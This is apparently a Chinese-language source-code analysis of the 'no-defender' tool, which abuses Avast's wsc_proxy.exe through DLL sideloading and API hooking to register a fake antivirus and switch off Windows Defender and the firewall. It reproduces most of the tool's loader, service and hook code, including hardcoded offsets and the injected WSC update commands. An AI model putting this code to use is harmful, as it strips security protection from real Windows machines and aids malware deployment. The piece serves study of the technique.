[源码分析]利用WSC服务注册假杀软组件以关闭windows defender
原项目:https://github.com/es3n1n/no-defender 简要原理:Windows有一个WDC(Windows Security Center)服务,当安装了在微软那边注册了的杀软 ,会调用一个未公开的接口去更新杀软组件状态,同时关闭WDF。项目里的大佬就是通过逆向安全厂商软件(项目里是AVAST的wsc_proxy.exe),得到了这个API的细节。 loader逻辑
原项目:https://github.com/es3n1n/no-defender
简要原理:Windows有一个WDC(Windows Security Center)服务,当安装了在微软那边注册了的杀软
,会调用一个未公开的接口去更新杀软组件状态,同时关闭WDF。项目里的大佬就是通过逆向安全厂商软件(项目里是AVAST的wsc_proxy.exe),得到了这个API的细节。


loader逻辑
概览
项目源代码中,Loader的main.cpp的main中,主要有如下逻辑
- 命令行参数解析
argparse::ArgumentParser program("no-defender-loader", "1.0.1");
program.add_argument("--disable").help("re-enable firewall/defender").flag();
program.add_argument("--firewall").help("disable the firewall").flag();
program.add_argument("--av").help("disable the defender").flag();
program.add_argument("--name").help("av name").default_value(std::string("github.com/es3n1n/no-defender")).nargs(1);
program.parse_args(argc, argv);
**setup_registry**函数在**HKEY_LOCAL_MACHINE\SOFTWARE\Avast Software\Avast\properties**下创建注册表项,并设置**ProgramFolder**的值为当前进程文件的父文件夹。
namespace util {
inline std::filesystem::path app_path() {
char result[_MAX_PATH];
GetModuleFileNameA(NULL, result, sizeof(result));
return result;
}
}
void setup_registry() {
auto reg = native::Registry(HKEY_LOCAL_MACHINE, "SOFTWARE");
reg = reg.create_key("Avast Software");
reg = reg.create_key("Avast");
(void)reg.create_key("properties");
const auto path = util::app_path().parent_path().wstring();
const bool status = reg.set_value(L"ProgramFolder", path.c_str(), path.length());
if (!status) {
throw std::runtime_error("unable to init registry, are we really elevated?");
}
}
- 提升权限,获取SeLoadDriverPrivilege权限(常规获取token然后设置特权开启,改变进程token权限,允许加载驱动)
if (!util::grant_privileges({L"SeLoadDriverPrivilege"})) {
throw std::runtime_error("unable to acquire privileges");
}
namespace util {
inline bool grant_privileges(const std::vector<std::wstring_view> names) {
TOKEN_PRIVILEGES Priv, PrivOld;
DWORD cbPriv = sizeof(PrivOld);
HANDLE token;
if (!OpenThreadToken(GetCurrentThread(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, FALSE, &token)) {
if (GetLastError() != ERROR_NO_TOKEN) {
return false;
}
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &token)) {
return false;
}
}
Priv.PrivilegeCount = 1;
Priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
for (auto& name : names) {
if (!LookupPrivilegeValueW(NULL, name.data(), &Priv.Privileges[0].Luid)) {
return false;
}
if (!AdjustTokenPrivileges(token, FALSE, &Priv, sizeof(Priv), &PrivOld, &cbPriv)) {
return false;
}
}
return true;
}
**start**函数使用**service_loader**实例加载并启动名为**wsc_proxy**的服务。**remove_service**函数停止并删除**wsc_proxy**服务。
## service_loader::Instance类
namespace service_loader {
using error_t = std::monostate; // 定义一个错误类型,使用std::monostate表示没有具体错误信息
class Instance {
public:
// 定义一个智能指针类型,用于管理服务控制句柄(SC_HANDLE),并在析构时自动关闭句柄
using handle_t = std::unique_ptr<std::remove_pointer_t<SC_HANDLE>, decltype(&CloseServiceHandle)>;
// 构造函数,打开服务控制管理器(SCM),并获取其句柄
Instance(): _handle(handle_t(OpenSCManagerA(NULL, NULL, SC_MANAGER_ALL_ACCESS), &CloseServiceHandle)) { }
// 创建并启动一个用户模式服务
[[nodiscard]] std::expected<handle_t, error_t> create_and_start_um_service(const std::string_view name, const std::string_view display_name,
const std::string& path) {
SC_HANDLE result = nullptr;
// 尝试多次创建服务
for (std::size_t i = 0; i < 5 && result == nullptr; ++i) {
result = CreateServiceA(_handle.get(), name.data(), display_name.data(), SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL, path.data(), nullptr, nullptr, nullptr, nullptr, nullptr);
if (result == nullptr) {
// 如果创建失败,尝试打开并删除已存在的同名服务
auto handle = open_service(name);
if (!handle.has_value()) {
continue;
}
if (!stop_and_delete_service(*handle)) {
return std::unexpected(error_t{});
}
handle->reset();
continue;
}
}
if (result == nullptr) {
return std::unexpected(error_t{});
}
// 启动服务,如果服务已经在运行,则忽略错误
if (!static_cast<bool>(StartServiceA(result, 0, nullptr)) && GetLastError() != ERROR_SERVICE_ALREADY_RUNNING) {
return std::unexpected(error_t{});
}
return handle_t(result, &CloseServiceHandle);
}
// 打开一个已存在的服务
[[nodiscard]] std::expected<handle_t, error_t> open_service(const std::string_view name) {
auto result = OpenServiceA(_handle.get(), name.data(), SERVICE_ALL_ACCESS);
if (result == nullptr) {
return std::unexpected(error_t{});
}
return handle_t(result, &CloseServiceHandle);
}
// 停止并删除一个服务
bool stop_and_delete_service(handle_t& service) {
SERVICE_STATUS status = {};
ControlService(service.get(), SERVICE_CONTROL_STOP, &status);
return static_cast<bool>(DeleteService(service.get()));
}
private:
handle_t _handle; // 服务控制管理器句柄
};
} // namespace service_loader
可以看到,主要是对windows服务的管理。
start启动wsc_proxy服务
简简单单启动wsc_proxy服务,其中使用了dll侧加载,后面分析如何侧加载的

void start(service_loader::Instance& loader, std::string& name) {
auto wsc_proxy = util::app_path().parent_path();
wsc_proxy /= "wsc_proxy.exe";
std::cout << "** loading the wsc_proxy" << std::endl;
auto svc = loader.create_and_start_um_service("wsc_proxy", "wsc_proxy",
std::format("\"{}\" /runassvc /rpcserver /wsc_name:\"{}\"", wsc_proxy.string(), name));
if (!svc.has_value()) {
throw std::runtime_error("unable to load wsc_proxy, please try again");
}
std::cout << "** waiting for wsc_proxy (this can take some time)" << std::endl;
while (util::process_exists(wsc_proxy.filename().wstring())) {
std::this_thread::sleep_for(std::chrono::seconds(1));
}
}
启动的wsc_proxy.exe,我们可以看出来他是AVAST的白文件


黑dll逻辑
查看dllmain.cpp逻辑
#include <cstdint>
#include <MinHook.h>
#include <shared/structs.hpp>
#include "hooks.hpp"
/// \note In x86 stdcall functions are getting mangled even with extern c :shrug:
#if !defined(_WIN64)
#pragma comment(linker, "/EXPORT:CallNtPowerInformation=_CallNtPowerInformation@20")
#endif
// 导出函数 CallNtPowerInformation,用于获取电源信息
EXTERN_C __declspec(dllexport) NTSTATUS WINAPI CallNtPowerInformation(POWER_INFORMATION_LEVEL InformationLevel, PVOID InputBuffer, ULONG InputBufferLength,
PVOID OutputBuffer, ULONG OutputBufferLength) {
// 获取原始的 CallNtPowerInformation 函数地址
static auto orig =
reinterpret_cast<decltype(&CallNtPowerInformation)>(GetProcAddress(reinterpret_cast<HMODULE>(globals::powrprof_base), "CallNtPowerInformation"));
// 调用原始函数并返回结果
return orig(InformationLevel, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength);
}
// DLL 入口点函数
BOOL __stdcall DllMain(HMODULE base, std::uint32_t call_reason, std::uintptr_t reserved) {
// 仅在 DLL 被加载时执行初始化代码
if (call_reason != DLL_PROCESS_ATTACH) {
return TRUE;
}
// 加载 powrprof.dll 并获取其基地址
globals::powrprof_base = reinterpret_cast<std::uintptr_t>(LoadLibraryA("c:\\Windows\\System32\\powrprof.dll"));
assert(globals::powrprof_base != 0);
// 反序列化初始化上下文
globals::init_ctx.deserialize();
// 设置钩子
hooks::setup();
return TRUE;
}
通过对dllmain的分析,我们可以预估avast使用了powrprof_base.dll的导出函数CallNtPowerInformation。
调用globals::init_ctx.deserialize(),设置文件指针读取ctx.bin文件的内容,反序列化到state和product中。
struct init_ctx_t {
public:
e_state state = e_state::ON;
e_product product = e_product::NONE;
void deserialize() {
std::ifstream stream(detail::ctx_path(), std::ios::binary);
stream.read(reinterpret_cast<char*>(this), sizeof(*this));
}
};
namespace shared {
constexpr std::size_t kMaxNameLength = 128;
constexpr std::string_view kCtxPath = "ctx.bin";
namespace detail {
inline std::string ctx_path() {
auto path = util::app_path().parent_path();
path /= kCtxPath;
return path.string();
}
} // namespace detail
....
}
Hook逻辑
项目使用了minehook框架:https://github.com/TsudaKageyu/minhook
首先跟进Hook.hpp,调用setup函数以进行hook框架的初始化,然后给如下几个函数下hook
inline void setup() {
using namespace detail;
// MinHook框架 初始化
assert(MH_Initialize() == MH_OK);
// CreateFileW、DeviceIoControl、I_RpcBindingInqLocalClientPID、WaitForSingleObject
assert(create_hook(::CreateFileW, hooked::CreateFileW, &original::CreateFileW) == MH_OK);
assert(create_hook(::DeviceIoControl, hooked::DeviceIoControl, &original::DeviceIoControl) == MH_OK);
assert(create_hook(::I_RpcBindingInqLocalClientPID, hooked::I_RpcBindingInqLocalClientPID, &original::I_RpcBindingInqLocalClientPID) == MH_OK);
assert(create_hook(::WaitForSingleObject, hooked::WaitForSingleObject, &original::WaitForSingleObject) == MH_OK);
// 启用所有钩子
assert(MH_EnableHook(MH_ALL_HOOKS) == MH_OK);
}
接下来跟进下的钩子
首先是CreateFileW
拦截参数,如果传入的路径参数中有"asw",则寻找项目中的"wsc.dll",并加载他。
同时创建函数钩子,hook wsc.dll中的内存偏移(为什么hook这两个位置没研究明白,猜测是内部函数所在位置,通过逆向得到的偏移)
[[nodiscard]] inline std::uintptr_t base() {
static auto base_addr = GetModuleHandleA("wsc");
assert(base_addr != nullptr);
return reinterpret_cast<std::uintptr_t>(base_addr);
}
inline struct {
HANDLE* queue_handle = detail::initializer<HANDLE*>(0x3F94F8, 0x39D520);
using s_wscrpc_update_t = void (*)(const wchar_t* command, const bool async);
s_wscrpc_update_t s_wscrpc_update = detail::initializer<s_wscrpc_update_t>(0x2A120, 0x27F50);
void* proceed_queue = detail::initializer<void*>(0x29C80, 0x27AD0);
void* proceed_item = detail::initializer<void*>(0x29BA0, 0x278A0);
} ctx;
// 钩子函数,用于拦截 CreateFileW 调用
HANDLE WINAPI CreateFileW(LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile) {
auto file_path = std::wstring(lpFileName);
// 将文件路径转换为小写
std::ranges::transform(file_path.begin(), file_path.end(), file_path.begin(),
-> wchar_t { return static_cast<wchar_t>(std::tolower(static_cast<int>(ch))); });
// 如果文件路径包含 "asw"
if (file_path.find(L"asw") != std::wstring::npos) {
static std::once_flag fl;
std::call_once(fl, -> void {
globals::wsc_base = globals::detail::base();
// 创建钩子
MH_CreateHook(globals::ctx.proceed_queue, ProceedQueue, &original::ProceedQueue);
MH_CreateHook(globals::ctx.proceed_item, ProcessItem, &original::ProcessItem);
MH_EnableHook(nullptr);
});
return reinterpret_cast<HANDLE>(1337);
}
// 调用原始的 CreateFileW 函数
return original::CreateFileW(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes,
hTemplateFile);
}
ProceedQueue会推送svc信息,告知其他组件,防火墙状态信息发生变化(Hook的wsc服务)
// 定义一个函数 ProceedQueue,用于处理队列
std::uintptr_t ProceedQueue() {
// 定义一个 lambda 函数 push_payload,用于推送 payload
auto push_payload = -> void {
// 如果当前产品不包含指定的 product,则返回
if ((globals::init_ctx.product & product) == shared::e_product::NONE) {
return;
}
// 格式化 payload 字符串
auto payload = std::format(L"/svc /update /{} /state:{} /signatures:up_to_date", internal_name, globals::init_ctx.state);
// 调用 s_wscrpc_update 函数推送 payload
globals::ctx.s_wscrpc_update(payload.data(), true);
};
// 推送 AV 和 FIREWALL 的 payload
push_payload(shared::e_product::AV, L"av_as");
push_payload(shared::e_product::FIREWALL, L"firewall");
// 调用原始的 ProceedQueue 函数
const auto result = reinterpret_cast<decltype(&ProceedQueue)>(original::ProceedQueue)();
std::exit(0); // 以防我们没有通过 WaitForSingleObject 钩子退出
return result;
}
"/svc /update /av_as /state:0 /signatures:up_to_date"
"/svc /update /firewall /state:0 /signatures:up_to_date"
ProcessItem
// 定义一个函数 ProcessItem,用于处理项
std::uintptr_t ProcessItem(std::uintptr_t pthis) {
globals::processed = false;
// 调用原始的 ProcessItem 函数
auto result = reinterpret_cast<decltype(&ProcessItem)>(original::ProcessItem)(pthis);
globals::processed = true;
return result;
}
其余几个钩子,都是对参数的拦截,以及返回值的修改,具体细节就不跟踪了
// 钩子函数,用于拦截 DeviceIoControl 调用
BOOL WINAPI DeviceIoControl(HANDLE hDevice, DWORD dwIoControlCode, LPVOID lpInBuffer, DWORD nInBufferSize, LPVOID lpOutBuffer,
DWORD nOutBufferSize, LPDWORD lpBytesReturned, LPOVERLAPPED lpOverlapped) {
const auto ret =
original::DeviceIoControl(hDevice, dwIoControlCode, lpInBuffer, nInBufferSize, lpOutBuffer, nOutBufferSize, lpBytesReturned, lpOverlapped);
// 如果设备句柄不是 1337,则返回原始结果
if (reinterpret_cast<uint64_t>(hDevice) != 1337) {
return ret;
}
// 根据不同的控制代码返回不同的结果
switch (dwIoControlCode) {
case 0xB2D601C0:
return TRUE;
case 0xB2D600CC:
*reinterpret_cast<int*>(lpOutBuffer) = 1;
return TRUE;
case 0xb2d60190:
*reinterpret_cast<int*>(lpOutBuffer) = 1337;
*reinterpret_cast<int*>(lpBytesReturned) = 4;
return TRUE;
default:
return ret;
}
}
// 钩子函数,用于拦截 I_RpcBindingInqLocalClientPID 调用
RPC_STATUS RPC_ENTRY I_RpcBindingInqLocalClientPID(RPC_BINDING_HANDLE Binding, unsigned long* Pid) {
*Pid = GetCurrentProcessId();
return 0;
}
// 钩子函数,用于拦截 WaitForSingleObject 调用
DWORD WINAPI WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds) {
if (globals::wsc_base != 0 && hHandle == *globals::ctx.queue_handle) {
if (globals::processed) {
std::exit(0);
}
}
return original::WaitForSingleObject(hHandle, dwMilliseconds);
}
} // namespace hooked
总结
他的思路,相当于是运行白文件时,用脚本启动,hook白文件wsc_proxy.exe的白dll wsc.dll,在其中关键的svc状态更新字符串中上传我们自定义的payload,av组件。
文章总体把他的思路捋顺了,当然还有较大的不足与欠缺,比如如何从逆向工程的角度去把文中硬编码的内存、硬编码的控制码给找出来,这其实是一个工作量很大、需要很大耐心的工作,我手头上有其他事,暂时不深究了,欢迎师傅们对我的文章提出修改建议与批评指点。
向黑客致敬!